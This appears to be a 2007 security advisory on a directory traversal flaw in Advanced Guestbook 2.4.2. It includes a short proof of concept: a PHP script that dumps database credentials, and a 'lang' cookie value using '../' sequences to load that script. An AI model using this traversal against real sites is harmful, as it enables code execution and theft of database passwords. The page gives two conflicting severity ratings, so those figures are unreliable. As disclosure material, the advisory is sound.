Advanced Guestbook version 2.4.2 Directory Traversal Vulnerability

2007.05.12
Credit: netvigilance
Risk: Medium
Local: No
Remote: Yes
CWE: CWE-Other


Ogólna skala CVSS: 5.1/10
Znaczenie: 6.4/10
Łatwość wykorzystania: 4.9/10
Wymagany dostęp: Zdalny
Złożoność ataku: Wysoka
Autoryzacja: Nie wymagana
Wpływ na poufność: Częściowy
Wpływ na integralność: Częściowy
Wpływ na dostępność: Częściowy

netVigilance Security Advisory #13 Advanced Guestbook version 2.4.2 Directory Traversal Vulnerability Description: Advanced Guestbook is a PHP-based guestbook script. It includes many useful features such as preview, templates, e-mail notification, picture upload, page spanning , html tags handling, smiles, advanced guestbook codes and language support. The admin script lets you modify, view, and delete messages. Requires PHP4 and MySQL. External References: Mitre CVE: CVE-2007-0609 NVD NIST: CVE-2007-0609 OSVDB: 33878 Summary: Advanced Guestbook is a PHP-based guestbook with admin interface. Security problems in the product allow attackers to conduct directory traversal attacks. This vulnerabilities can be exploited only when attacker has registered on the same server. Advisory URL: http://www.netvigilance.com/advisory0013 Release Date: 05/07/2007 Severity: Risk: High CVSS Metrics Access Vector: Remote Access Complexity: High Authentication: Not-required Confidentiality Impact: Complete Integrity Impact: Complete Availability Impact: Complete Impact Bias: Normal CVSS Base Score: 8 Target Distribution on Internet: Low Exploitability: Functional Exploit Remediation Level: Workaround Report Confidence: Uncorroborated Vulnerability Impact: Attack Host Impact: Directory Traversal SecureScout Testcase ID: Vulnerable Systems: Advanced Guestbook 2.4.2 Vulnerability Type: An attacker via the .. (dot dot) sequence can execute his own php-script on the target server. Vendor Status: Contact with the Vendor was established but draft of the security advisory wasn't provided because the Vendor stopped responding to our emails on 9 March 2007. There is no official fix at the release of this Security Advisory Workaround: Set Advanced Guestbook default static language. Example: 1. Create php-script like: <?php global $GB_DB; print_r($GB_DB); ?> 2. Set in COOKIES variable lang = "[ via the .. (dot dot) Sequence set the script name on the same server]" for example "../../../hack_www/htdocs/hack" REQUEST: http://[TARGET]/[guestbook-directory]/index.php REPLY: Array ( [dbName] => [CURRENT DB NAME] [host] => [CURRENT DB HOST] [user] => [DB USER NAME] [pass] => [DB USER PASSWORD] ) Credits: Jesper Jurcenoks Co-founder netVigilance, Inc www.netvigilance.com


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